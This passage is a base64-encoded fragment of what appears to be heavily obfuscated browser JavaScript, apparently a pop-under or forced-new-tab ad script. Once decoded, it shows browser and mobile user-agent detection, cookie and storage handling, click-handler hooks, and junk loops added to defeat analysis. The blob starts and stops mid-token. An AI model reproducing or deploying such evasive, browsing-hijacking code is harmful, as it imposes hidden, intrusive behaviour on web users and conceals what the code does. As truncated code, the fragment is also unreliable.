MzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXS